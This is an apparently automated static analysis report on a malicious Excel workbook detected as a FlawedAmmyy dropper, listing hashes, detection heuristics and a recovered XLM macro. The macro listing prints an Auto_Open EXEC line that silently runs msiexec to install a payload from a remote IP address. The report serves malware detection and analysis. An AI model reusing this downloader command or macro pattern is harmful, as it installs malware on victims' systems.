Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 14a577109de5cbbd…

MALICIOUS

Office (OLE)

115.5 KB Created: 2018-12-19 10:42:12 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: df84893d492a78ea417ed9d185946b5d SHA-1: 065fee06da93adff3f0b64a307333816118e7688 SHA-256: 14a577109de5cbbd1a642c638850c42f5b0cc335d8a3572ec23228786bac1d41
382 Risk Score

Heuristics 8

  • ClamAV: Doc.Dropper.FlawedAmmyy-6887556-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.FlawedAmmyy-6887556-0
  • XLM Auto_Open workbook with payload URL or enable-content lure critical OLE_XLM_AUTOOPEN_PAYLOAD_LURE
    Workbook contains an Excel 4.0 macro sheet with Auto_Open / Auto_Close and also exposes a payload URL or enable-content lure in the OLE bytes. This combination is a high-confidence XLM downloader/social-engineering pattern even when formula recovery cannot decode the full macro chain.
  • Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPEN
    Workbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.17.120.235/select Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 546 bytes
SHA-256: c65a0f67399367b3a06b4a462faae39c60e05fe69ed25323c0ac1ea177039aff
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -    0 : 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0018     31 LABEL : Cell Value, String Constant - Auto_Open len=7 ptgRef3d    0 : !A1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'    0 : ,A1,EXEC("msiexec.exe val=conn rdp=redim OnLoad='c:\windows\cmd.exe'  /i http://185.17.120.235/select /q"),""
'    0 : ,A2,HALT(),""

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